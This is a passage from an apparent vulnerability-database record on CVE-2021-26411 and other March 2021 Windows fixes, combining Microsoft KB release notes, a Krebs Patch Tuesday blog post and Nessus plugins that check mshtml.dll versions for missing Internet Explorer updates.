Flash Player End of Support](<https://blogs.windows.com/msedgedev/2020/09/04/update-adobe-flash-end-support>).\n\n**11/19/20** \nFor information about Windows update terminology, see the article about the [types of Windows updates](<https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/standard-terminology-software-updates>) and the [monthly quality update types](<https://techcommunity.microsoft.com/t5/windows-it-pro-blog/windows-10-update-servicing-cadence/ba-p/222376>). To view other notes and messages, see the Windows 10, version 1607 update history home page. \n\n## Highlights\n\n * Updates security for the Windows user interface.\n * Updates to improve security when Windows performs basic operations.\n * Updates to improve security when using Microsoft Office products.\n\n## Improvements and fixes\n\nThis security update includes quality improvements. Key changes include:\n\n * Turns off token binding by default in Windows Internet (WinINet).\n * Addresses an issue in the Windows Management Instrumentation (WMI) service that causes a heap leak each time security settings are applied to WMI namespace permissions.\n * Addresses an issue in which a principal in a trusted MIT realm fails to obtain a Kerberos service ticket from Active Directory domain controllers (DC). This occurs on devices that installed Windows Updates that contain CVE-2020-17049 protections and configured PerfromTicketSignature to 1 or higher. These updates were released between November 10, 2020 and December 8, 2020. Ticket acquisition also fails with the error, \u201cKRB_GENERIC_ERROR\u201d, if callers submit a PAC-less Ticket Granting Ticket (TGT) as an evidence ticket without providing the USER_NO_AUTH_DATA_REQUIRED flag.\n * Addresses an elevation of privilege security vulnerability documented in [CVE-2021-1640](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1640>) related to print jobs submitted to \u201cFILE:\u201d ports. After installing Windows updates from March 9, 2021 and later, print jobs that are in a pending state before restarting the print spooler service or restarting the OS will remain in an error state. Manually delete the affected print jobs and resubmit them to the print queue when the print spooler service is online. \n * Addresses a reliability issue in Remote Desktop.\n * Addresses an issue that might cause stop error 7E in **nfssvr.sys** on servers running the Network File System (NFS) service.\n * Addresses an issue that excessively logs DfsSvc Event 14554 in the System event log by default once every hour for each DFS Namespace (DFSN). This update adds a new registry key, RootShareAcquireSuccessEvent, to enable or disable Event 14554.Keypath: HKEY_LOCAL_MACHINE/L\"System\\CurrentControlSet\\Services\\Dfs\\Parameters\"Default value = 0If RootShareAcquireSuccessEvent is not 0 or is not present = Enable log.If RootShareAcquireSuccessEvent is 0 = Disable log.Whenever you change RootShareAcquireSuccessEvent, you must restart the DFSN service.\n * Addresses an issue that causes an increase in network traffic during update detection for Windows Updates. This issue occurs on devices that are configured to use an authenticated user proxy as the fallback method if update detection with a system proxy fails or there is no proxy.\n * Security updates to the Windows Shell, Windows User Account Control (UAC), Windows Fundamentals, Windows Core Networking, Windows Hybrid Cloud Networking, Windows Kernel, Windows Virtualization, the Microsoft Graphics Component, Internet Explorer, Microsoft Edge Legacy, and Windows Media.\nIf you installed earlier updates, only the new fixes contained in this package will be downloaded and installed on your device.For more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n**Windows Update Improvements**Microsoft has released an update directly to the Windows Update client to improve reliability. Any device running Windows 10 configured to receive updates automatically from Windows Update, including Enterprise and Pro editions, will be offered the latest Windows 10 feature update based on device compatibility and Windows Update for Business deferral policy. This doesn't apply to long-term servicing editions.\n\n## Known issues in this update\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing updates released March 9, 2021 or March 15, 2021, you might get unexpected results when printing from some apps. Issues might include:\n\n * Elements of the document might print as solid black/color boxes or might be missing, including barcodes, QR codes, and graphics elements, such as logos.\n * Table lines might be missing. Other alignment or formatting issues might also be present.\n * Printing from some apps or to some printers might result in a blank page or label.\n| This issue is resolved in KB5001633. \n \n## How to get this update\n\n**Before installing this update**Microsoft strongly recommends you install the latest servicing stack update (SSU) for your operating system before installing the latest cumulative update (LCU). SSUs improve the reliability of the update process to mitigate potential issues while installing the LCU and applying Microsoft security fixes. For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and Servicing Stack Updates (SSU): Frequently Asked Questions.If you are using Windows Update, the latest SSU (KB5001078) will be offered to you automatically. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). **Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5000803>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows 10**Classification**: Security Updates \n**File information**For a list of the files that are provided in this update, download the [file information for cumulative update 5000803](<https://download.microsoft.com/download/7/5/6/756f589c-b505-4341-b064-3f5e93f08aee/5000803.csv>). \n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-09T08:00:00", "type": "mskb", "title": "March 9, 2021\u2014KB5000803 (OS Build 14393.4283)", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17049", "CVE-2021-1640", "CVE-2021-26411"], "modified": "2021-03-09T08:00:00", "id": "KB5000803", "href": "https://support.microsoft.com/en-us/help/5000803", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "krebs": [{"lastseen": "2021-03-18T09:57:50", "description": "On the off chance you were looking for more security to-dos from **Microsoft **today\u2026the company released software updates to plug more than 82 security flaws in Windows and other supported software. Ten of these earned Microsoft&#x27;s &quot;critical&quot; rating, meaning they can be exploited by malware or miscreants with little or no help from users.\n\n\n\nTop of the heap this month (apart from the [ongoing, global Exchange Server mass-compromise](<https://krebsonsecurity.com/2021/03/at-least-30000-u-s-organizations-newly-hacked-via-holes-in-microsofts-email-software/>)) is a patch for an **Internet Explorer** bug that is seeing active exploitation. The IE weakness -- [CVE-2021-26411](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26411>) -- affects both IE11 and newer EdgeHTML-based versions, and it allows attackers to run a file of their choice by getting you to view a hacked or malicious website in IE.\n\nThe IE flaw is tied to a vulnerability that was publicly disclosed in early February by researchers at [ENKI](<http://enki.co.kr/blog/2021/02/04/ie_0day.html>) who claim it was one of those [used in a recent campaign by nation-state actors to target security researchers](<https://www.bleepingcomputer.com/news/security/hacking-group-also-used-an-ie-zero-day-against-security-researchers/>). In the ENKI blog post, the researchers said they will publish proof-of-concept (PoC) details after the bug has been patched.\n\n&quot;As we\u2019ve seen in the past, once PoC details become publicly available, attackers quickly incorporate those PoCs into their attack toolkits,&quot; said **Satnam Narang**, staff research engineer at **Tenable**. &quot;We strongly encourage all organizations that rely on Internet Explorer and Microsoft Edge (EdgeHTML-Based) to apply these patches as soon as possible.&quot;\n\nThis is probably a good place to quote [Ghacks.net&#x27;s Martin Brinkman](<https://www.ghacks.net/2021/03/09/microsoft-windows-security-updates-march-2021-overview/>): This is [the last patch hurrah](<https://www.ghacks.net/2021/01/31/reminder-microsoft-edge-legacy-will-be-retired-in-march-2021/>) for the legacy Microsoft Edge web browser, which is being retired by Microsoft.\n\nFor the second month in a row, Microsoft has patched scary flaws in the DNS servers on **Windows Server 2008** through **2019** versions that could be used to remotely install software of the attacker\u2019s choice. All five of the DNS bugs quashed in today&#x27;s patch batch earned a CVSS Score (danger metric) of 9.8 -- almost as bad as it gets.\n\n&quot;There is the outside chance this could be wormable between DNS servers,&quot; warned Trend Micro&#x27;s **Dustin Childs**.\n\nAs mentioned above, hundreds of thousands of organizations are in the midst dealing with a security nightmare after having their Exchange Server and Outlook Web Access (OWA) hacked and retrofitted with a backdoor. If an organization you know has been affected by this attack, please have them check with the new victim notification website [mentioned in today&#x27;s story](<https://krebsonsecurity.com/2021/03/warning-the-world-of-a-ticking-time-bomb/>).\n\n**Susan Bradley** over at [Askwoody.com says](<https://www.askwoody.com/2021/march-patching-madness-begins/>) &quot;nothing in the March security updates (besides the Exchange ones released last week) is causing me to want to urge you to go running to your machines and patch at this time.&quot; I&#x27;d concur, unless of course you cruise the web with older Microsoft browsers.\n\n**Update, Mar. .11, 9:32 a.m.: **AskWoody now says any delay in patching may have been warranted. &quot;We are seeing issues with printing after the March updates. Ghacks reports BSODs are being triggered after printing. It\u2019s unclear if it\u2019s all of the March operating system updates or just the Windows 10 versions. Note it appears that Microsoft has pulled the updates from Windows update but NOT from WSUS or the catalog site.&quot;\n\n_Original story:_\n\nIt\u2019s a good idea for Windows users to get in the habit of updating at least once a month, but for regular users (read: not enterprises) it\u2019s usually safe to wait a few days until after the patches are released, so that Microsoft has time to iron out any kinks in the new armor.\n\nBut before you update, _please_ make sure you have backed up your system and/or important files. It\u2019s not uncommon for a Windows update package to hose one\u2019s system or prevent it from booting properly, and some updates have been known to erase or corrupt files.\n\nSo do yourself a favor and backup before installing any patches. Windows 10 even has some [built-in tools](<https://lifehacker.com/how-to-back-up-your-computer-automatically-with-windows-1762867473>) to help you do that, either on a per-file/folder basis or by making a complete and bootable copy of your hard drive all at once.\n\nAnd if you wish to ensure Windows has been set to pause updating so you can back up your files and/or system before the operating system decides to reboot and install patches on its own schedule, [see this guide](<https://www.computerworld.com/article/3543189/check-to-make-sure-you-have-windows-updates-paused.html>).\n\nAs always, if you experience glitches or problems installing any of these patches this month, please consider leaving a comment about it below; there\u2019s a better-than-even chance other readers have experienced the same and may chime in here with some helpful tips.\n\nAdditional reading:\n\nMartin Brinkman&#x27;s [always comprehensive take](<https://www.ghacks.net/2021/03/09/microsoft-windows-security-updates-march-2021-overview/>).\n\nThe **SANS Internet Storm Center** [no-frills breakdown of the fixes](<https://isc.sans.org/forums/diary/Microsoft+March+2021+Patch+Tuesday/27184/>).", "edition": 2, "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-10T01:42:39", "type": "krebs", "title": "Microsoft Patch Tuesday, March 2021 Edition", "bulletinFamily": "blog", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 5.1, "vectorString": "AV:N/AC:H/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26411"], "modified": "2021-03-10T01:42:39", "id": "KREBS:83CB7FE17AB0EB62BC1947A917C7546C", "href": "https://krebsonsecurity.com/2021/03/microsoft-patch-tuesday-march-2021-edition/", "cvss": {"score": 5.1, "vector": "AV:N/AC:H/Au:N/C:P/I:P/A:P"}}], "nessus": [{"lastseen": "2023-05-18T15:25:30", "description": "The Internet Explorer installation on the remote host is missing a security update. It is, therefore, affected by the following vulnerability:\n\n - A memory corruption vulnerability exists. An attacker can exploit this to corrupt the memory and cause unexpected behaviors within the system/application.\n (CVE-2021-26411)", "cvss3": {}, "published": "2021-03-09T00:00:00", "type": "nessus", "title": "Security Updates for Internet Explorer (March 2021)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2021-26411"], "modified": "2022-12-05T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS21_MAR_INTERNET_EXPLORER.NASL", "href": "https://www.tenable.com/plugins/nessus/147228", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft Corporation.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(147228);\n script_version(\"1.10\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/12/05\");\n\n script_cve_id(\"CVE-2021-26411\");\n script_xref(name:\"MSKB\", value:\"5000847\");\n script_xref(name:\"MSKB\", value:\"5000800\");\n script_xref(name:\"MSKB\", value:\"5000841\");\n script_xref(name:\"MSKB\", value:\"5000844\");\n script_xref(name:\"MSKB\", value:\"5000848\");\n script_xref(name:\"MSFT\", value:\"MS21-5000847\");\n script_xref(name:\"MSFT\", value:\"MS21-5000800\");\n script_xref(name:\"MSFT\", value:\"MS21-5000841\");\n script_xref(name:\"MSFT\", value:\"MS21-5000844\");\n script_xref(name:\"MSFT\", value:\"MS21-5000848\");\n script_xref(name:\"IAVA\", value:\"2021-A-0130-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/11/17\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2021-0015\");\n\n script_name(english:\"Security Updates for Internet Explorer (March 2021)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The Internet Explorer installation on the remote host is missing a security update.\");\n script_set_attribute(attribute:\"description\", value:\n\"The Internet Explorer installation on the remote host is\nmissing a security update. It is, therefore, affected by the\nfollowing vulnerability:\n\n - A memory corruption vulnerability exists. An attacker\n can exploit this to corrupt the memory and cause\n unexpected behaviors within the system/application.\n (CVE-2021-26411)\");\n # https://support.microsoft.com/en-us/topic/kb5000800-cumulative-security-update-for-internet-explorer-march-9-2021-b7b43be0-e9ef-48b6-b102-ed28fd89e0f2\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?e8426b33\");\n # https://support.microsoft.com/en-us/topic/march-9-2021-kb5000841-monthly-rollup-3a2cced1-f436-40c3-a8a1-645f86759088\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?8c5851d4\");\n # https://support.microsoft.com/en-us/topic/march-9-2021-kb5000844-monthly-rollup-d90d0eb1-6319-4a7e-97f6-68fbd306fd5a\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?177a5bc6\");\n # https://support.microsoft.com/en-us/topic/march-9-2021-kb5000847-monthly-rollup-8afa2933-e9da-4481-a0bc-18deb314974e\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?df958afd\");\n # https://support.microsoft.com/en-us/topic/march-9-2021-kb5000848-monthly-rollup-52f23db9-e1b0-4829-81b9-198fc82891a3\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?5ff1e9b3\");\n script_set_attribute(attribute:\"solution\", value:\n\"Microsoft has released the following security updates to address this issue: \n -KB5000800\n -KB5000841\n -KB5000844\n -KB5000847\n -KB5000848\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-26411\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_canvas\", value:\"true\");\n script_set_attribute(attribute:\"canvas_package\", value:\"CANVAS\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/03/09\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/03/09\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/03/09\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_check_rollup.nasl\", \"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_func.inc\");\n\nget_kb_item_or_exit(\"SMB/MS_Bulletin_Checks/Possible\");\n\nbulletin = 'MS21-03';\nkbs = make_list(\n '5000800',\n '5000841',\n '5000844',\n '5000847',\n '5000848'\n);\n\nif (get_kb_item(\"Host/patch_management_checks\")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_WARNING);\n\nget_kb_item_or_exit(\"SMB/Registry/Enumerated\");\nos = get_kb_item_or_exit(\"SMB/WindowsVersion\", exit_code:1);\n\nif (hotfix_check_sp_range(vista:'2', win7:'1', win8:'0', win81:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nproductname = get_kb_item_or_exit(\"SMB/ProductName\", exit_code:1);\nif (\"Windows 8\" >< productname && \"8.1\" >!< productname)\n audit(AUDIT_OS_SP_NOT_VULN);\nif (\"Vista\" >< productname) audit(AUDIT_OS_SP_NOT_VULN);\n\nif (hotfix_check_server_core() == 1) audit(AUDIT_WIN_SERVER_CORE);\n\nshare = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n # Windows 8.1 / Windows Server 2012 R2\n # Internet Explorer 11\n hotfix_is_vulnerable(os:\"6.3\", sp:0, file:\"mshtml.dll\", version:\"11.0.9600.19963\", min_version:\"11.0.9600.16000\", dir:\"\\system32\", bulletin:bulletin, kb:\"5000800\") ||\n\n # Windows Server 2012\n # Internet Explorer 11\n hotfix_is_vulnerable(os:\"6.2\", sp:0, file:\"mshtml.dll\", version:\"11.0.9600.19963\", min_version:\"11.0.9600.16000\", dir:\"\\system32\", bulletin:bulletin, kb:\"5000800\") ||\n\n # Windows 7 / Server 2008 R2\n # Internet Explorer 11\n hotfix_is_vulnerable(os:\"6.1\", sp:1, file:\"mshtml.dll\", version:\"11.0.9600.19963\", min_version:\"11.0.9600.16000\", dir:\"\\system32\", bulletin:bulletin, kb:\"5000800\") ||\n\n # Windows Server 2008\n # Internet Explorer 9\n hotfix_is_vulnerable(os:\"6.0\", sp:2, file:\"mshtml.dll\", version:\"9.0.8112.21532\", min_version:\"9.0.8112.16000\", dir:\"\\system32\", bulletin:bulletin, kb:\"5000800\")\n)\n{\n report = '\\nNote: The fix for this issue is available in either of the following updates:\\n';\n report += ' - KB5000800 : Cumulative Security Update for Internet Explorer\\n';\n\n if(os == \"6.3\")\n {\n report += ' - KB5000848 : Windows 8.1 / Server 2012 R2 Monthly Rollup\\n';\n hotfix_add_report(bulletin:'MS21-03', kb:'5000848', report);\n }\n else if(os == \"6.2\")\n {\n report += ' - KB5000847 : Windows Server 2012 Monthly Rollup\\n';\n hotfix_add_report(bulletin:'MS21-03', kb:'5000847', report);\n }\n else if(os == \"6.1\")\n {\n report += ' - KB5000841 : Windows 7 / Server 2008 R2 Monthly Rollup\\n';\n hotfix_add_report(bulletin:'MS21-03', kb:'5000841', report);\n }\n else if(os == \"6.0\")\n {\n report += ' - KB5000844 : Windows Server 2008 Monthly Rollup\\n';\n hotfix_add_report(bulletin:'MS21-03', kb:'5000844', report);\n }\n\n set_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);\n\n port = kb_smb_transport();\n\n hotfix_security_warning();\n hotfix_check_fversion_end();\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, hotfix_get_audit_report());\n}\n\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-09-27T15:31:11", "description": "The Internet Explorer installation on the remote host is missing a security update. It is, therefore, affected by the following vulnerability:\n\n - An memory corruption vulnerability exists. An attacker can exploit this to corrupt the memory and cause unexpected behaviors within the system/application.\n (CVE-2021-26419)", "cvss3": {}, "published": "2021-05-11T00:00:00", "type": "nessus", "title": "Security Updates for Internet Explorer (May 2021)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2021-26411", "CVE-2021-26419"], "modified": "2021-05-27T00:00:00", "cpe": ["cpe:/a:microsoft:ie"], "id": "SMB_NT_MS21_MAY_INTERNET_EXPLORER.NASL", "href": "https://www.tenable.com/plugins/nessus/149386", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft Corporation.\n#\ninclude('deprecated_nasl_level.inc');\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(149386);\n script_version(\"1.5\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/05/27\");\n\n script_cve_id(\"CVE-2021-26419\");\n script_xref(name:\"MSKB\", value:\"5003210\");\n script_xref(name:\"MSFT\", value:\"MS21-5003210\");\n script_xref(name:\"MSKB\", value:\"5003233\");\n script_xref(name:\"MSFT\", value:\"MS21-5003233\");\n script_xref(name:\"MSKB\", value:\"5003209\");\n script_xref(name:\"MSFT\", value:\"MS21-5003209\");\n script_xref(name:\"MSKB\", value:\"5003165\");\n script_xref(name:\"MSKB\", value:\"5003208\");\n script_xref(name:\"MSFT\", value:\"MS21-5003165\");\n script_xref(name:\"MSFT\", value:\"MS21-5003208\");\n script_xref(name:\"IAVA\", value:\"2021-A-0224\");\n\n script_name(english:\"Security Updates for Internet Explorer (May 2021)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The Internet Explorer installation on the remote host is missing a security update.\");\n script_set_attribute(attribute:\"description\", value:\n\"The Internet Explorer installation on the remote host is\nmissing a security update. It is, therefore, affected by the\nfollowing vulnerability:\n\n - An memory corruption vulnerability exists. An attacker\n can exploit this to corrupt the memory and cause\n unexpected behaviors within the system/application.\n (CVE-2021-26419)\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.microsoft.com/en-us/topic/5003165\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.microsoft.com/en-us/topic/5003208\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.microsoft.com/en-us/topic/5003209\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.microsoft.com/en-us/topic/5003210\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.microsoft.com/en-us/topic/5003233\");\n script_set_attribute(attribute:\"solution\", value:\n\"Microsoft has released the following security updates to address this issue: \n -KB5003165\n -KB5003208\n -KB5003209\n -KB5003210\n -KB5003233\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-26411\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/05/11\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/05/11\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/05/11\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:microsoft:ie\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_check_rollup.nasl\", \"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_func.inc\");\n\nget_kb_item_or_exit(\"SMB/MS_Bulletin_Checks/Possible\");\n\nvar bulletin = 'MS21-05';\nvar kbs = make_list(\n '5003165',\n '5003208',\n '5003209',\n '5003210',\n '5003233'\n);\n\nif (get_kb_item(\"Host/patch_management_checks\")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit(\"SMB/Registry/Enumerated\");\nvar os = get_kb_item_or_exit(\"SMB/WindowsVersion\", exit_code:1);\n\nif (hotfix_check_sp_range(vista:'2', win7:'1', win8:'0', win81:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nvar productname = get_kb_item_or_exit(\"SMB/ProductName\", exit_code:1);\nif (\"Windows 8\" >< productname && \"8.1\" >!< productname)\n audit(AUDIT_OS_SP_NOT_VULN);\nif (\"Vista\" >< productname) audit(AUDIT_OS_SP_NOT_VULN);\n\nif (hotfix_check_server_core() == 1) audit(AUDIT_WIN_SERVER_CORE);\n\nvar share = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n # Windows 8.1 / Windows Server 2012 R2\n # Internet Explorer 11\n hotfix_is_vulnerable(os:\"6.3\", sp:0, file:\"mshtml.dll\", version:\"11.0.9600.20016\", min_version:\"11.0.9600.16000\", dir:\"\\system32\", bulletin:bulletin, kb:\"5003165\") ||\n\n # Windows Server 2012\n # Internet Explorer 11\n hotfix_is_vulnerable(os:\"6.2\", sp:0, file:\"mshtml.dll\", version:\"11.0.9600.20016\", min_version:\"11.0.9600.16000\", dir:\"\\system32\", bulletin:bulletin, kb:\"5003165\") ||\n\n # Windows 7 / Server 2008 R2\n # Internet Explorer 11\n hotfix_is_vulnerable(os:\"6.1\", sp:1, file:\"mshtml.dll\", version:\"11.0.9600.20016\", min_version:\"11.0.9600.16000\", dir:\"\\system32\", bulletin:bulletin, kb:\"5003165\") ||\n\n # Windows Server 2008\n # Internet Explorer 9\n hotfix_is_vulnerable(os:\"6.0\", sp:2, file:\"mshtml.dll\", version:\"9.0.8112.21542\", min_version:\"9.0.8112.16000\", dir:\"\\system32\", bulletin:bulletin, kb:\"5003165\")\n)\n{\n var report = '\\nNote: The fix for this issue is available in either of the following updates:\\n';\n report += ' - KB5003165 : Cumulative Security Update for Internet Explorer\\n';\n\n if(os == \"6.3\")\n {\n report += ' - KB5003209 : Windows 8.1 / Server 2012 R2 Monthly Rollup\\n';\n hotfix_add_report(bulletin:'MS21-05', kb:'5003209', report);\n }\n else if(os == \"6.2\")\n {\n report += ' - KB5003208 : Windows Server 2012 Monthly Rollup\\n';\n hotfix_add_report(bulletin:'MS21-05', kb:'5003208', report);\n }\n else if(os == \"6.1\")\n {\n report += ' - KB5003233 : Windows 7 / Server 2008 R2 Monthly Rollup\\n';\n hotfix_add_report(bulletin:'MS21-05', kb:'5003233', report);\n }\n else if(os == \"6.0\")\n {\n report += ' - KB5003210 : Windows Server 2008 Monthly Rollup\\n';\n hotfix_add_report(bulletin:'MS21-05', kb:'5003210', report);\n }\n\n set_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);\n\n var port = kb_smb_transport();\n\n hotfix_security_hole();\n hotfix_check_fversion_end();\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, hotfix_get_audit_report());\n}\n\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-19T15:06:19", "description": "The remote Windows host is missing security update 5000856 or cumulative update 5000844. It is, therefore, affected by multiple vulnerabilities :\n\n - A remote code execution vulnerability. An attacker can exploit this to bypass authentication and execute unauthorized arbitrary commands. (CVE-2021-26861, CVE-2021-26877, CVE-2021-26893, CVE-2021-26894, CVE-2021-26895, CVE-2021-26897)\n\n - An elevation of privilege vulnerability. An attacker can exploit this to gain elevated privileges.\n (CVE-2021-1640, CVE-2021-26862, CVE-2021-26872, CVE-2021-26873, CVE-2021-26875, CVE-2021-26878, CVE-2021-26882, CVE-2021-26898, CVE-2021-26899, CVE-2021-26901, CVE-2021-27077)\n\n - An memory 